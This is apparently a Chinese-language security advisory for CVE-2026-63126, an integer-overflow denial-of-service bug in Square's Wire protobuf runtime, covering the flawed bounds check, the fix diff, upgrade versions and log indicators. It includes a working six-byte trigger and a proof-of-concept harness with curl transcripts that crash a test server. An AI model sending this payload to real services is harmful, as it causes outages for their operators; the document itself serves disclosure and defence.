CVE-2026-63126:Wire 长度计算溢出导致拒绝服务

受影响的是怎样的解码输入

Square 的 Wire 运行库(com.squareup.wire:wire-runtime)在解码 protobuf 消息时存在长度计算溢出,畸形输入可能使请求处理或解码过程失败。protobuf 是将结构化数据编码为字节的二进制格式,Wire 负责按消息定义把字节还原为字段值。CVE-2026-63126 的关键出在 JVM(Java 虚拟机)读取器 ByteArrayProtoReader32:它将过大的长度与当前读取位置相加,结果溢出,使本应被拒绝的输入继续进入读取操作,最终抛出未受检的运行时异常。

攻击者必须能让应用使用受影响的 Wire 运行库解码其控制的 protobuf 字节。JVM 的 ProtoAdapter.decode(ByteArray) 和 ProtoAdapter.decode(ByteString) 字节输入接口会使用这一快速读取路径,其中 ByteString 表示字节串。远程触发还要求应用有可达的网络输入,并将这些字节交给解码器;Wire 本身是库,不自带 HTTP 服务或解码端点。只有输入无需认证即可到达时,攻击者才不需要认证;存在认证网关时仍须通过网关。触发不需要用户交互。

ProtoAdapter.decode() 约定通过 IOException 报告解码失败。它属于 Java 的受检异常,调用方需要捕获或声明;此漏洞却让 IllegalArgumentException 或 ArrayIndexOutOfBoundsException 这样的未受检运行时异常逃出接口,绕过只捕获 IOException 的错误处理分支。因此,直接风险是解码或请求处理失败;是否终止整个进程、是否持续不可用,还取决于应用如何处理异常以及如何恢复或重启。

该 CVE 及关联公告将影响归于可用性,未报告机密性、完整性或代码执行影响。

正数长度为何绕过边界检查

protobuf 的“长度分隔字段”先给出字段标签和内容长度,再放置相应字节,字符串就是其中一种。读取器需要确认声明的内容没有越过外层消息的末尾。pos 是当前读取位置,limit 是当前字段或消息的结束位置;进入字段时,pushedLimit 保存外层边界。Wire 6.4.1 的以下源码使用 Int,也就是有符号 32 位整数,保存这些位置。重点在于 internalNextLengthDelimited():它用 varint(变长整数编码)读出长度,只排除负数,就先做加法、后比较边界。

Wire 6.4.1 在边界校验前累加长度

internal class ByteArrayProtoReader32(
private val source: ByteArray,

/** The current position in [source], starting at 0 and increasing monotonically. */
private var pos: Int = 0,

/** The absolute position of the end of the current message. */
private var limit: Int = source.size,
) : ProtoReader32 {
[... omitted ...]
private fun internalNextLengthDelimited(): Int {
nextFieldEncoding = FieldEncoding.LENGTH_DELIMITED
state = STATE_LENGTH_DELIMITED
val length = internalReadVarint32()
if (length < 0) throw ProtocolException("Negative length: $length. Reader position: $pos. Last read tag: $tag.")
if (pushedLimit != -1) throw IllegalStateException()
// Push the current limit, and set a new limit to the length of this value.
pushedLimit = limit
limit = pos + length
if (limit > pushedLimit) throw EOFException()
return length
}
[... omitted ...]
override fun readString(): String {
val byteCount = beforeLengthDelimitedScalar()
return readUtf8(byteCount)
}
[... omitted ...]
private fun beforeLengthDelimitedScalar(): Int {
if (state != STATE_LENGTH_DELIMITED) {
throw ProtocolException("Expected LENGTH_DELIMITED but was $state. Reader position: $pos. Last read tag: $tag.")
}
val byteCount = limit - pos
state = STATE_TAG
// We've completed a length-delimited scalar. Pop the limit.
limit = pushedLimit
pushedLimit = -1
return byteCount
}
[... omitted ...]
private fun readUtf8(byteCount: Int): String {
val newPos = pos + byteCount
if (newPos > limit) throw EOFException()
val result = source.decodeToString(startIndex = pos, endIndex = newPos)
pos = newPos
return result
}

原始记录节选。

六字节字符串样例只含字段标签和长度声明。读完后,pos = 6,声明长度为 2147483647,即有符号 32 位整数的最大值。按上述源码计算,6 + 2147483647 超出可表示范围,回绕为 -2147483643。新 limit 因而变成负数,limit > pushedLimit 为假,原本应抛出 EOFException 的检查被绕过。EOFException 是 IOException 的子类,表示所需数据超出可读取范围。攻击者不必实际提交与声明长度相当的数据。

错误边界还会影响下一步。beforeLengthDelimitedScalar() 计算 limit - pos,再次回绕得到正数 2147483647,随后将 limit 恢复为外层边界。readUtf8() 用这个字节数再次计算 pos + byteCount,得到负的 newPos;它仍不大于恢复后的外层边界,于是第二道检查也失效。最终,decodeToString() 收到起点为 6、终点为负数的无效区间,抛出 IllegalArgumentException。这是源码中的整数运算所导出的路径,后面的异常记录与这些索引吻合;源码本身并不决定宿主进程如何处理异常。

相同类别的边界错误还涉及未知字段读取和 group 跳过。未知字段是当前消息定义未识别的字段,读取器可用 ByteString.of 保存其字节;group 是 protobuf 的一种字段分组结构,skip() 用于跳过内容。错误的长度或读取位置进入这些操作后,会造成越界。Wire 6.4.1 的另外两种完整溢出输入分别在这些路径产生了 ArrayIndexOutOfBoundsException。

解码器异常与进程退出要分开看

下面的 Java 代码来自调用 Wire 的自定义 HTTP 测试程序。Person 是示例消息类型,Person.ADAPTER 是与这一类型对应的消息适配器,负责按字段定义把 protobuf 字节解码为 Person 对象。处理函数将请求体交给 Person.ADAPTER.decode(ByteArray);重点看两个异常分支:IOException 被转为 HTTP 400,其他 Throwable 一旦逃出解码调用,程序就显式执行 Runtime.getRuntime().halt(1),以状态 1 终止 JVM。

测试程序将未受检异常转换为 JVM 退出

  static final String BANNER =
"wire-runtime-jvm 6.4.1 (CVE-2026-63126) PoC harness\n"
+ "GET / -> this banner\n"
+ "POST <path> -> decode raw request body with Person.ADAPTER.decode(ByteArray)\n"
+ "trigger (hex): 0A FF FF FF FF 07 (field 1, length 2147483647 -> 32-bit overflow)\n";
[... omitted ...]
Person decoded;
try {
decoded = Person.ADAPTER.decode(body);
} catch (IOException e) {
// Checked decode failure: the normal, expected way malformed protobuf input is rejected.
// Patched versions (>= 6.4.5 / 7.0.0-alpha04) end here with EOFException.
System.out.println("[web] decode failed with checked IOException: " + e);
respond(exchange, 400, "decode failed (checked IOException): " + e + "\n");
return;
} catch (Throwable t) {
// Unchecked runtime exception escaping ProtoAdapter.decode(ByteArray):
// the CVE-2026-63126 symptom. Deterministically crash the process.
System.out.println("[web] UNCHECKED " + t.getClass().getName()
+ " escaped decode (CVE-2026-63126), halting JVM:");
t.printStackTrace(System.out);
System.out.flush();
Runtime.getRuntime().halt(1);
return; // unreachable
}

原始记录节选。

这段代码展示了测试程序如何把未受检异常转为进程退出,这不是 Wire 自带的服务或终止策略。实际应用若采用不同的异常处理方式,结果可能只限于一次请求失败。代码中的版本横幅是固定字符串,替换运行库后也不会自动改变。

以下交互记录中的 <TARGET>、<PATH> 和 <path> 分别是目标、文件位置与请求路径的替换标记,不能直接当作可执行命令使用。记录未给出整段 shell 的退出状态,文中只解释明确记录的子命令结果。

先看加载 Wire 6.4.1 的测试程序对正常输入的处理。合法的 Person 消息用于检查成功解码;另一条输入声明字符串长 5 字节,却只提供 3 字节,用于检查普通截断是否进入受检异常分支。这是与后面溢出交互分开的本地对照记录。

合法输入和截断输入展示正常处理行为

$ printf '\x0a\x05hello\x10\x2a' | curl -s -m 5 --data-binary @- http://<TARGET>:8080/decode; echo "code=$?"; echo "---truncated benign---"; printf '\x0a\x05hel' | curl -s -m 5 -w '\nHTTP=%{http_code}\n' --data-binary @- http://<TARGET>:8080/decode; curl -s -o /dev/null -w 'still-alive GET=%{http_code}\n' -m 5 http://<TARGET>:8080/
[... output excerpt ...]
decoded: Person{name="hello", birthYear=42}
code=0
---truncated benign---
decode failed (checked IOException): java.io.EOFException

HTTP=400
still-alive GET=200
[exit_code] not recorded

节选;占位符替换了实验专用值,未修改代码逻辑或结果。

合法输入得到 Person{name="hello", birthYear=42}。截断输入则产生 EOFException,测试程序返回 HTTP 400,随后的 GET 返回 200,说明这个错误请求没有使程序停止响应。这里的 code=0 只是第一条 curl 的退出状态,不是 HTTP 状态码;这两项对照也不能证明溢出输入会被同样拒绝。

再看前述六字节溢出输入:它将字符串长度声明为 2147483647,并未提供对应内容。在新启动、加载 Wire 6.4.1 且采用上述退出策略的本地测试程序中,将这条输入送到字节数组解码入口,出现了以下结果。

六字节输入触发未受检解码异常

$ printf '\x0a\xff\xff\xff\xff\x07' > <PATH>/poc.bin && xxd <PATH>/poc.bin && echo "--- POSTING EXPLOIT ---" && curl -s --max-time 8 -w "\nHTTP %{http_code} exit=%{exitcode}\n" --data-binary @<PATH>/poc.bin http://<TARGET>:8080/decode; echo "curl done rc=$?"; sleep 1; echo "--- server process state ---"; ps aux | grep -v grep | grep WirePocServer || echo "PROCESS DEAD (good)"; echo "--- server.log ---"; cat <PATH>/server.log
[... output excerpt ...]
00000000: 0aff ffff ff07 ......
--- POSTING EXPLOIT ---

HTTP 000 exit=52
curl done rc=52
--- server process state ---
PROCESS DEAD (good)
[... omitted ...]
[web] POST /decode body-length=6
[web] UNCHECKED java.lang.IllegalArgumentException escaped decode (CVE-2026-63126), halting JVM:
java.lang.IllegalArgumentException: startIndex: 6 > endIndex: -2147483643
at kotlin.collections.AbstractList$Companion.checkBoundsIndexes$kotlin_stdlib(AbstractList.kt:137)
at kotlin.text.StringsKt__StringsJVMKt.decodeToString(StringsJVM.kt:238)
at kotlin.text.StringsKt__StringsJVMKt.decodeToString$default(StringsJVM.kt:233)
at com.squareup.wire.ByteArrayProtoReader32.readUtf8(ByteArrayProtoReader32.kt:442)
at com.squareup.wire.ByteArrayProtoReader32.readString(ByteArrayProtoReader32.kt:282)
at com.squareup.wire.ProtoReader32AsProtoReader.readString(ProtoReader32AsProtoReader.kt:50)
at com.squareup.wire.ProtoAdapterKt$commonString$1.decode(ProtoAdapter.kt:1167)
at com.squareup.wire.ProtoAdapterKt$commonString$1.decode(ProtoAdapter.kt:1150)
at Person$1.decode(Person.java:55)
at Person$1.decode(Person.java:31)
at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:148)
at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:468)
at WirePocServer.handle(WirePocServer.java:67)
[exit_code] not recorded

节选;占位符替换了实验专用值,未修改代码逻辑或结果。

异常中的 startIndex: 6 > endIndex: -2147483643 与整数回绕的推导一致,调用栈也经过 ByteArrayProtoReader32.readUtf8()、readString() 和 ProtoAdapter.decode()。HTTP 000 表示客户端没有收到 HTTP 响应,并非服务端返回了状态码 000;curl 的退出状态为 52。记录中的进程消失对应测试程序的 halt(1) 分支,库端直接证实的是未受检异常越过了解码接口。

修复、版本范围与排查

修复提交 25ebcab 调整了校验顺序:requireNonNegativeLength() 负责非负长度约束,checkedLimit(length) 则在更新边界之前确认字段确实放得下。以下是该提交对读取器的修改差异,关键是先检查剩余空间,再计算新的绝对位置。

修复在加法前检查剩余字节数

diff --git a/wire-runtime/src/commonMain/kotlin/com/squareup/wire/ByteArrayProtoReader32.kt b/wire-runtime/src/commonMain/kotlin/com/squareup/wire/ByteArrayProtoReader32.kt
index dfc3b6f028..61bcc0b1a9 100644
--- a/wire-runtime/src/commonMain/kotlin/com/squareup/wire/ByteArrayProtoReader32.kt
+++ b/wire-runtime/src/commonMain/kotlin/com/squareup/wire/ByteArrayProtoReader32.kt
[... omitted ...]
@@ -129,12 +138,12 @@ internal class ByteArrayProtoReader32(
nextFieldEncoding = FieldEncoding.LENGTH_DELIMITED
state = STATE_LENGTH_DELIMITED
val length = internalReadVarint32()
- if (length < 0) throw ProtocolException("Negative length: $length. Reader position: $pos. Last read tag: $tag.")
+ requireNonNegativeLength(length)
if (pushedLimit != -1) throw IllegalStateException()
+ val newLimit = checkedLimit(length)
// Push the current limit, and set a new limit to the length of this value.
pushedLimit = limit
- limit = pos + length
- if (limit > pushedLimit) throw EOFException()
+ limit = newLimit
return length
}
[... omitted ...]
+ private fun checkedLimit(byteCount: Int): Int {
+ if (byteCount < 0 || byteCount > remainingInLimit()) throw EOFException()
+ return pos + byteCount
+ }
+
+ private fun remainingInLimit(): Int {
+ if (pos > limit) throw EOFException()
+ return limit - pos
+ }
}

原始记录节选。

remainingInLimit() 先拒绝已经越过边界的读取位置,再返回 limit - pos。checkedLimit() 拒绝负字节数,以及任何大于剩余空间的字节数,并抛出受检的 EOFException;只有检查通过,才执行 pos + byteCount。这样,过大的正长度在加法前就被挡住,无法再靠回绕生成负边界。这段修复差异说明了校验逻辑,实际输入的处理结果则由下面的运行对照展示。

同一个 Java 测试程序加载 wire-runtime-jvm 6.4.5 后,接收了与前面相同的六字节字符串输入,并在之后通过 GET 检查能否继续响应。这里的版本依据是加载的运行库与类路径,而不是程序中仍写着 6.4.1 的固定横幅。

Wire 6.4.5 拒绝相同输入并保持可用

$ mkdir -p <PATH>/jars-fixed && cd <PATH> && cp jars/okio-jvm-3.17.0.jar jars/kotlin-stdlib-2.0.21.jar jars-fixed/ && cp wire-runtime-jvm-6.4.5.jar jars-fixed/ && nohup java -cp 'jars-fixed/*' WirePocServer.java 8077 > fixed.log 2>&1 & sleep 3; echo "--- trigger on 6.4.5 ---"; printf '\x0a\xff\xff\xff\xff\x07' | curl -s -m 5 -w '\nHTTP=%{http_code}\n' --data-binary @- http://<TARGET>:8077/decode; sleep 1; curl -s -o /dev/null -w 'alive-after GET=%{http_code}\n' -m 5 http://<TARGET>:8077/; tail -2 <PATH>/fixed.log
[... output excerpt ...]
--- trigger on 6.4.5 ---
decode failed (checked IOException): java.io.EOFException

HTTP=400
alive-after GET=200
[web] POST /decode body-length=6
[web] decode failed with checked IOException: java.io.EOFException
[exit_code] not recorded

节选;占位符替换了实验专用值,未修改代码逻辑或结果。

这次输入产生 EOFException,由测试程序转换成 HTTP 400,随后的 GET 返回 200。这表明同一条完整的字符串溢出输入已进入受检异常分支,程序处理后仍能响应;这一结果只覆盖该输入。

上游回归测试 ProtoReader32Test.lengthDelimitedRejectsPositiveLengthOverflow 为字符串、未知字段与 group 三种完整溢出输入都设置了抛出 IOException 的断言。这是测试源码表达的预期行为,不能等同于整套测试已经运行通过;直接运行对照也没有覆盖另外两种完整输入在 6.4.5 上的表现。修复还加固了其他 ProtoReader 读取路径和 Swift 的 ReadBuffer 缓冲区边界检查。

应用应将 wire-runtime 升级到对应发行线的修复版本:

发行线 声明的受影响范围 修复版本
稳定版 < 6.4.5(即 ≤ 6.4.4) 6.4.5
7.0.0 预发布版 7.0.0-alpha01 至 7.0.0-alpha03 7.0.0-alpha04

这里的直接运行时对照覆盖 JVM 6.4.1 与 6.4.5 的 ByteArray 解码入口。其他声明受影响版本、BufferedSource 流输入、直接使用 ProtoReader 的方式,以及 Swift 和 alpha 发行线的范围,依据的是公告及源码或修复差异,不能理解为每项都做过同样的运行测试。已有 Maven 版本列表在 6.4.1 后直接列出 6.4.5,未列出 6.4.2–6.4.4;这一列表现象不缩小声明的 < 6.4.5 范围。

部署排查应先确认实际加载的运行库版本,再检查哪些请求体、消息或其他外部字节会进入受影响的解码入口,以及这些入口是否受认证保护。还要检查解码失败的处理分支:只捕获 IOException 时,无法承接这里的未受检异常;应用是否会因此丢失请求、退出进程或反复重启,需要结合自身处理逻辑判断。这个判断用于评估实际影响,根本修复仍是使用已修复的运行库。

日志中值得关联查看的是:从 ProtoAdapter.decode() 逃出的 IllegalArgumentException,调用栈包含 ByteArrayProtoReader32.readString() 或 readUtf8(),并出现负的字符串结束索引;另一个线索是未知字段的 ByteString.of 处理或 group 跳过期间出现 ArrayIndexOutOfBoundsException,伴随异常字节数或负游标。这些现象应与畸形 protobuf 输入及请求、进程故障一起判断,单个异常名称不足以确定成因。仅看到 IOException 或 EOFException 拒绝输入,也不能认定已经发生此漏洞的可用性失败,因为修复版正是通过受检异常拒绝这类输入。